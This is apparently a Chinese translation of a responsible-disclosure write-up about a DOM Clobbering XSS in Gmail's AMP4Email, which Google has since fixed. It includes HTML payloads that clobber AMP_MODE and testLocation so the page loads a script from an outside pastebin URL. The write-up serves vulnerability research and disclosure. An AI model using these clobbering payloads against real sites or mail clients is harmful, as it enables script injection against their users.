Gmail中AMP4Email所导致的XSS漏洞
iso60001 1854天前
这篇文章讲述的是我在2019年8月向谷歌报告的XSS漏洞，和Gmail中的AMP4Email有关，这也是被称为DOM Clobbering攻击手法的具体实现。
什么是AMP4Email
AMP4Email（也称为动态邮件）是Gmail的一个新特性，它能让电子邮件包含动态HTML内容。虽然很久以前就能编写含有HTML标记的电子邮件，但这通常只包是静态内容，即某种格式、图像等，不含任何脚本或表单。而AMP4Email则意味着更进一步，往电子邮件加入了更多的动态内容。在谷歌官方的一篇文章中，有一个完整的总结：
通过动态电子邮件，你可以很容易地直接对消息本身执行操作，比如回复某个事件、填写问卷、浏览目录或评论等。
以谷歌文档中的评论为例，当某人在评论中提到你时，你就不会收到单独的电子邮件，而是可以直接从消息中回复评论（可以观察到Gmail分出一个线程）。
不过该功能也引出了一些明显的安全问题，最明显的则是XSS。在电子邮件中插入动态内容，是否意味着我们可以轻松地注入任意javascript代码嘛？不，这其实并不容易。
AMP4Email有一个强大的验证器，简而言之，就是它有一个强大白名单，限制使用某些HTML标记。具体情况可以通过https://amp.gmail.dev/playground/进行查看（如下图），你也可以向自己发送一封动态电子邮件，看看它是如何工作的！
当你试图添加恶意HTML标签时，会看到一个错误。
而我在尝试使用各种方法来绕过安全限制时，我注意到可以往标签中写入id属性。
这貌似是一个好的切入点，因为创建包含自定义的id属性的HTML元素可能导致DOM Clobbering。
DOM Clobbering
DOM Clobbering是Web浏览器的一个旧特性，在许多应用中，它都会引起麻烦。一般来说，当你创建一个元素（例如<input id=username>），然后希望从javascript中引用它时，通常会使用document.getElementById('username')或document.querySelector('#username')。但以上并不是全部的方法！
传统的方法是通过全局window对象的属性来访问它，例如window.username。所以在以上例子中，这和document.getElementById('username')完全相同！如果此时应用的某些动作完全基于某些全局变量，那么就可能导致DOM Cloberring！
为了进一步分析DOM Clobbering，假设我们有以下javascript代码：
if (window.test1.test2) {
eval(''+window.test1.test2)
}
此时我们的目的是只使用DOM Clobbering技术实现JS代码。为了做到这件事，我们需要解决以下两个问题：
我们知道可以为
window创建新属性，那我们可以在其他对象上创建新属性吗（例如test1.test2）？我们可以控制将DOM元素转换成字符串的流程么？大多数HTML元素在转换为字符串时，都会得到类似
[object HTMLInputElement]的结果。
让我们先从第一个问题开始，最普通的解决方法是使用<form>标签。每个<form>标签中的<input>都可视为属性添加，<form>的name属性等于<input>的名字。例如下面的示例：
<form id=test1>
<input name=test2>
</form>
<script>
alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>
而为了解决第二个问题，我编写了一个简短的JS代码，它遍历HTML中所有可能存在的元素，检查它们的toString方法是否继承自object。如果不是，则可能会返回其他对象。代码如下：
object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== object.prototype.toString)
以上代码返回了两个元素：HTMLAreaElement（<area>）和HTMLAnchorElement（<a>）。在AMP4Email中，第一个不在白名单，所以只能利用第二个。而对于<a>，toString函数只返回href属性的值：
<a id=test1 href=https://securitum.com>
<script>
alert(test1); // alerts "https://securitum.com"
</script>
因此，如果我们想进行攻击，（通过window.test1.test2的值），则需要以下类似代码：
<form id=test1>
<a name=test2 href="x:alert(1)"></a>
</form>
但问题是它根本不会生效。test1.test2是未定义的。就是把<a>替换为<input>也一样。
不过，关于这个问题有一个有趣的解决方案，可在基于WebKit和blink的浏览器中生效。假设我们有两个id相同的元素：
<a id=test1>click!</a>
<a id=test1>click2!</a>
此时访问window.test1时会得到什么呢？我期望获得第一个的值。但是在Chromium中，我们实际上得到了一个HTMLCollection！
特别需要注意的是，我们可以通过索引以及id访问HTMLCollection中的特定的元素。这意味着window.test1.test1实际上指的第一个元素。我们也可以设置name属性，实现相同的效果：
<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>
现在我们可以通过window.test1.test2访问第二个anchor元素。
现在，我们回到eval(''+window.test1.test2)，最后的答案是：
<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>
那么，我们如何在AMP4Email中使用呢？
实施攻击
上文提到，通过向元素添加id属性，AMP4Email很有可能会被攻击。为了找到一些攻击的条件，我决定查看一下window的属性。
AMP4Email实际上也使用了一些针对DOM Clobbering的安全措施，例如它严格禁止了id属性的某些值。
但是，AMP_MODE并没有被限制。所以让我们看看<a id=AMP_MODE>会发生什么。
貌似AMP4Email试图加载某些Js文件，但由于404并未能成功。我们可以看到URL的中间有一个undefined，对于为什么会发生这种情况，我只能想出一个解释：AMP试图获得AMP_MODE属性，并将其插入URL中。但由于DOM Clobbering，导致预期的属性缺失。相关代码如下：
f.preloadExtension = function(a, b) {
"amp-embed" == a && (a = "amp-ad");
var c = fn(this, a, !1);
if (c.loaded || c.error)
var d = !1;
else
void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
c.scriptPresent = !!d),
d = !c.scriptPresent;
if (d) {
d = b;
b = this.win.document.createElement("script");
b.async = !0;
yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
b.setAttribute("data-script", a);
b.setAttribute("i-amphtml-inserted", "");
var e = this.win.location;
t().test && this.win.testLocation && (e = this.win.testLocation);
if (t().localDev) {
var g = e.protocol + "//" + e.host;
"about:" == e.protocol && (g = "");
e = g + "/dist"
} else
e = hd.cdn;
g = t().rtvVersion;
null == d && (d = "0.1");
d = d ? "-" + d : "";
var h = t().singlePassType ? t().singlePassType + "/" : "";
b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
this.win.document.head.appendChild(b);
c.scriptPresent = !0
}
return gn(c)
}
下面是精简版：
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
在第一行中，新建了一个script元素，然后检查AMP_MODE.test和window.testLocation是否为真。如果AMP_MODE.localDev为真，则用window.testLocation生成URL。最后将一些其他属性联合起来，形成完整的URL。但由于编码方法的缺陷以及DOM Clobbering，我们可以控制最后的URL。我们假设AMP_MODE.localDev和AMP_MODE.test都为真，进一步简化代码：
var script = window.document.createElement("script");
script.async = false;
b.src = window.testLocation.protocol + "//" +
window.testLocation.host + "/dist/rtv/" +
AMP_MODE.rtvVersion; + "/" +
(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
"v0/" + pluginName + ".js";
document.head.appendChild(b);
还记得之前的window.test1.test2么，我们只需做相同的事，覆盖window.testLocation.protocol：
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- window.testLocation.protocol is a ba se for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
不过在实际情况中，由于AMP中部署了Content-Security-Policy，因此代码并未执行：
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
因此后来我又开始寻找绕过CSP的方法，当然也成功找到了：https://twitter.com/SecurityMB/status/1162690916722839552。不过我发现2016年就有人发现了相同的方法。
如果你想进一步进行学习，可以查看点击这里。
时间线
2019年8月15日–向Google发送报告
2019年8月16日–得到响应
2019年9月10日–Google确认漏洞
2019年10月12日–Google确认漏洞已修复
2019年11月18日–详情公开
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://research.securitum.com/xss-in-amp4email-dom-clobbering/
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